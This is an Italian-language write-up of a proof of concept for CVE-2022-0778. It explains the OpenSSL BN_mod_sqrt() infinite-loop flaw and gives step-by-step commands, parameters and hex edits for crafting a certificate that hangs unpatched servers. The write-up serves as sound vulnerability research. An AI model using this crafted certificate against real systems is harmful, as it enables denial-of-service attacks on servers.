CVE-2022-0778

La vulnerabilità scoperta innesca un ciclo infinito nella funzione BN_mod_sqrt() di OpenSSL durante l’analisi di una chiave di curva ellittica. Ciò significa che un certificato X.509 creato ad arte può causare un DoS su qualsiasi server non ancora patchato.

Il cuore della vulnerabilità risiede nell’analisi delle chiavi EC con punti in formato compresso: durante l’analisi di questo tipo di chiavi, OpenSSL tenterà di espandere il punto compresso, cercando di calcolare una radice quadrata modulo il primo p su cui è definita la curva. Tuttavia, la primalità di p non viene verificata in nessun punto, nemmeno in BN_mod_sqrt() per la quale è un requisito; quindi un bug nell’implementazione causerà un ciclo infinito a causa del fatto che p non è primo come previsto.

La spiegazione in cinese è disponibile sul mio blog OpenSSL CVE-2022-0778漏洞问题复现与非法证书构造

Crediti

• Tavis Ormandy per aver scoperto e divulgato la vulnerabilità
• Drago per aver pubblicato il test contro BN_mod_sqrt()
• catbro666 per aver effettivamente creato un certificato X.509 che blocca il server
• wllm-rbnt per l’utile strumento asn1template

Come testare

Il prerequisito è avere installato gcc e una versione vulnerabile di OpenSSL.

Per il bug in BN_mod_sqrt(): compila con gcc -o my_bad_sqrt my_bad_sqrt.c -lcrypto, esegui ./my_bad_sqrt e guardalo bloccarsi per sempre! :D

Con un certificato: esegui openssl x509 -in certs/cert.der.new -inform DER -text -noout sulla riga di comando; anche questo si blocca.

Raggiungere il ciclo

La funzione BN_mod_sqrt() implementa l’algoritmo Tonelli-Shanks per trovare una radice quadrata modulare, cioè dato un intero a e un numero primo p, restituisce un valore r tale che r^2 == a (mod p).

Analizzando il commit che corregge la vulnerabilità, vediamo che il colpevole è il ciclo che trova l’indice minimo i per cui b^(2^i)==1 (mod p), dove b è definito prima nell’algoritmo.

Il ciclo viene cambiato da

i = 1;
if (!BN_mod_sqr(t, b, p, ctx))
    goto end;
while (!BN_is_one(t)) {
    i++;
    if (i == e) {
        ERR_raise(ERR_LIB_BN, BN_R_NOT_A_SQUARE);
        goto end;
    }
    if (!BN_mod_mul(t, t, t, p, ctx))
        goto end;
}

a

for (i = 1; i < e; i++) {
    if (i == 1) {
        if (!BN_mod_sqr(t, b, p, ctx))
            goto end;
    } else {
        if (!BN_mod_mul(t, t, t, p, ctx))
            goto end;
    }
    if (BN_is_one(t))
        break;
}

Nel secondo caso c’è un ciclo for limitato dalla variabile e; nel codice originale invece c’è solo un controllo per il caso i==e all’interno di un ciclo while.

Poiché questi cicli sono all’interno di un ciclo più grande che per ogni iterazione imposta il nuovo valore di e al valore corrente di i, proviamo la seguente strategia d’attacco:

1. nella prima esecuzione del ciclo esterno, fare in modo che alla fine i=1; per questo, abbiamo bisogno che b^2=1 (mod p).
2. in questo modo, durante la seconda esecuzione avremo e=1, e se riusciamo ad entrare nel ciclo interno il controllo i==e fallirà sempre
3. se riusciamo ad avere sempre t != 1 (mod p), rimarremo nel ciclo per sempre

Nota che i primi due passi possono effettivamente accadere in un’esecuzione “normale”, cioè con un p primo. Tuttavia, se p è composto possiamo anche soddisfare il terzo passo!

Un po’ di matematica

L’algoritmo Tonelli-Shanks funziona scrivendo p - 1 = 2^e * q, con q dispari. Questo è anche l’ordine del gruppo moltiplicativo degli interi modulo p, e i valori e e q verranno usati molte volte durante l’esecuzione; tuttavia, se p non è primo, l’ordine del gruppo moltiplicativo non sarà p-1, e questo ci aiuterà ad entrare nel ciclo infinito.

In particolare, b è inizializzato come b = a^q (mod p), il che significa che se p fosse primo, allora b avrebbe ordine una potenza di 2, che poi troveremo usando il ciclo.

Ma se impostiamo p = r * s, l’ordine del gruppo moltiplicativo è (r-1)*(s-1) = r*s - r - s + 1 invece di r*s-1. L’algoritmo usa il valore q per ottenere un elemento y di ordine esattamente 2^e; tuttavia, quando p non è primo, il valore q non avrà un significato speciale per l’ordine, quindi l’elemento y non avrà ordine una potenza di due modulo p=r*s.

Poiché alla fine del primo ciclo esterno b viene impostato a b = b*y^(e-i) (mod p), alla sua seconda iterazione il ciclo interno cercherà di trovare un valore i per cui b^(2^i) == 1 (mod p), ma fallirà dato che y non è più garantito avere ordine una potenza di due.

L’exploit

I numeri nell’exploit sono molto semplici: prendiamo r=17, s=41, che danno p=r*s=697. Ciò significa che i valori calcolati di e e q saranno p-1 = 2^3 * 87.

Scegliamo quindi a=696, il che significa a == -1 (mod p) e anche b == -1 (mod p) quando inizializzato. Questo soddisfa il passo 1 impostando e=1 per il ciclo esterno successivo.

Poi b sarà impostato a un elemento con ordine non una potenza di 2, e il ciclo interno rimarrà bloccato cercando di trovare un i per cui b^(2^i)==1 (mod p).

Creazione di un certificato pericoloso

OK, ora creiamo un certificato pericoloso che contiene parametri di curva espliciti non validi con un punto base codificato in forma compressa.

I file di questa sezione si trovano nella cartella certs.

Creazione di un certificato normale con parametri di curva espliciti

Per prima cosa dobbiamo creare una chiave privata EC. Poiché vogliamo un certificato target con parametri di curva espliciti, anche la chiave deve contenere parametri di curva espliciti.

$ openssl ecparam -out ec.key -name prime256v1 -genkey -noout -param_enc explicit -conv_form compressed

Poi, per comodità, abbiamo auto-firmato un certificato e lo abbiamo emesso in formato DER.

$ openssl req -new -x509 -key ec.key -out cert.der -outform DER -days 360 -subj "/CN=TEST/"

Controlliamo le informazioni del certificato. Contiene parametri di curva espliciti come previsto.

$ openssl x509 -in cert.der -text -noout -inform DER
...
                Field Type: prime-field
                Prime:
                    00:ff:ff:ff:ff:00:00:00:01:00:00:00:00:00:00:
                    00:00:00:00:00:00:ff:ff:ff:ff:ff:ff:ff:ff:ff:
                    ff:ff:ff
                A:
                    00:ff:ff:ff:ff:00:00:00:01:00:00:00:00:00:00:
                    00:00:00:00:00:00:ff:ff:ff:ff:ff:ff:ff:ff:ff:
                    ff:ff:fc
                B:
                    5a:c6:35:d8:aa:3a:93:e7:b3:eb:bd:55:76:98:86:
                    bc:65:1d:06:b0:cc:53:b0:f6:3b:ce:3c:3e:27:d2:
                    60:4b
                Generator (compressed):
                    03:6b:17:d1:f2:e1:2c:42:47:f8:bc:e6:e5:63:a4:
                    40:f2:77:03:7d:81:2d:eb:33:a0:f4:a1:39:45:d8:
                    98:c2:96
                Order:
                    00:ff:ff:ff:ff:00:00:00:00:ff:ff:ff:ff:ff:ff:
                    ff:ff:bc:e6:fa:ad:a7:17:9e:84:f3:b9:ca:c2:fc:
                    63:25:51
...

Creazione di un certificato non valido

Ora dobbiamo modificare i valori di questi parametri: Prime, A, B, Generator. Devono soddisfare l’equazione sottostante

dove p è il Prime, a è il parametro A e b è il parametro B. p, a, b insieme determinano una curva. Decomprimere un punto significa calcolare la coordinata Y dalla corrispondente coordinata X.

Ovviamente, dovrebbe essere utilizzata un’operazione di radice quadrata modulare, che chiamerà BN_mod_sqrt().

Sulla base del lavoro di drago-96, prendiamo p=697, x^3+ax+b=696. E poi dobbiamo solo scegliere a, b, x appropriati che soddisfino la seconda equazione. Qui prendiamo x=8, a=23, b=0.

OK, ora possiamo iniziare a modificare il certificato. Modificare manualmente la struttura ASN.1 è davvero terribile. Ho usato lo strumento xxd per trasformare il certificato in formato esadecimale, e poi l’ho modificato con vim. Dopo aver completato la modifica, l’ho riconvertito con xxd -r.

$ cp cert.der cert.der.old
$ xxd cert.der cert.der.hex
$ cp cert.der.hex cert.der.hex.old
$ vim cert.der.hex
# modifica cert.der.hex
# ...
# completato
$ xxd -r cert.der.hex cert.der.new

Non ho trovato uno strumento più comodo. Se qualcuno conosce un tale strumento, per favore sia generoso con i vostri commenti.

I passaggi di creazione sono approssimativamente i seguenti:

1. Cambiare i valori di Prime, A, B, Generator
   1. Cambiare Prime in 697, cioè 0x2b9 in esadecimale
   2. Cambiare A in 23, cioè 0x17 in esadecimale
   3. Cambiare B in 0
   4. Cambiare la coordinata X del Generator in 8, cioè 0x020008 (o 0x030008) quando codificata in formato compresso
2. Poiché OpenSSL controllerà il formato di padding di ASN1_INTEGER, il Prime non deve contenere byte zero iniziali, quindi dobbiamo cambiare la lunghezza del Prime
3. Analogamente, OpenSSL confronterà la lunghezza del Prime con la lunghezza della stringa del punto, quindi la lunghezza della coordinata X del Generator deve essere uguale a quella del Prime. Ecco perché impostiamo Generator come 030008, e non come 0308.
4. Poiché la struttura ASN.1 del certificato è annidata, tutte le lunghezze degli oggetti esterni devono essere corrette.
5. Notare che potrebbe esserci un carattere di nuova riga indesiderato (0x0a) alla fine del file dopo aver eseguito xxd -r. Eliminarlo.

Ora, diamo un’occhiata alla struttura ASN.1 del certificato normale. Le parti contrassegnate dalla linea rossa sono quelle da modificare.

$ openssl asn1parse -in cert.der -inform DER -i

Le lunghezze prima e dopo la modifica sono elencate di seguito:

Utilizzo dei template ASN1

Aggiornato il 2020-03-21:

Un modo molto più semplice è usare lo strumento asn1template scritto da wllm-rbnt.

Clonare il repository:

$ git clone https://github.com/wllm-rbnt/asn1template.git

Generare un template DER da questo certificato:

$ ./asn1template/asn1template.pl cert.der > cert.tpl

Poi modificare i parametri appena menzionati sopra:

diff cert.tpl cert_new.tpl
46c46
< field32 = FORMAT:HEX,OCTETSTRING:036B17D1F2E12C4247F8BCE6E563A440F277037D812DEB33A0F4A13945D898C296
---
> field32 = FORMAT:HEX,OCTETSTRING:030008
51c51
< field36 = INTEGER:0xFFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF
---
> field36 = INTEGER:0x2B9
53,54c53,54
< field37 = FORMAT:HEX,OCTETSTRING:FFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFC
< field38 = FORMAT:HEX,OCTETSTRING:5AC635D8AA3A93E7B3EBBD55769886BC651D06B0CC53B0F63BCE3C3E27D2604B
---
> field37 = FORMAT:HEX,OCTETSTRING:0000000000000000000000000000000000000000000000000000000000000017
> field38 = FORMAT:HEX,OCTETSTRING:0000000000000000000000000000000000000000000000000000000000000000

Riconvertirlo in DER codificato ASN1 con ASN1_generate_nconf(3):

$ openssl asn1parse -genconf cert_new.tpl -noout -out cert_new.der

L’output cert_new.der è equivalente alla versione modificata manualmente.

Quindi ora abbiamo creato con successo un certificato non valido. Vediamo la nuova struttura ASN.1

$ openssl asn1parse -in cert.der.new -inform DER -i

Tutte le parti rosse sono state modificate e il certificato può essere decodificato correttamente in DER.

Test con il certificato non valido

Ora proviamo ad analizzare il certificato. Il processo entrerà in un ciclo infinito se tutto funziona come previsto.

openssl x509 -in cert.der.new -inform DER -text -noout

Come mostrato, il %CPU del processo openssl è al 100 e la pila delle chiamate è all’interno di BN_mod_sqrt().

Se un attaccante malintenzionato invia un tale certificato creato ad arte durante l’handshaking SSL con il server, il server entrerà in un ciclo infinito che causa un attacco DoS.

Creazione di un certificato, metodo alternativo

Proveremo a creare un certificato utilizzando la libreria C libcrypto di OpenSSL.

Come abbiamo visto, dobbiamo usare una curva con campo base non primo e codificare i punti in forma compressa, in modo che durante l’analisi incontriamo il bug in BN_mod_sqrt().

Questo può essere fatto impostando y^2 = x^3 + 1*x + 694 (mod 697) come curva, con (1, 132) come generatore; questo chiamerà BN_mod_sqrt() con esattamente gli stessi parametri di my_bad_sqrt.

Eseguendo gcc -o my_bad_group my_bad_group.c -lcrypto && ./my_bad_group genererà il file my_bad_group.der che contiene i parametri EC in formato DER.

Provare ad analizzare questi parametri con OpenSSL causerà il ciclo infinito: openssl ecparam -in my_bad_group.der -inform der.

... WIP ...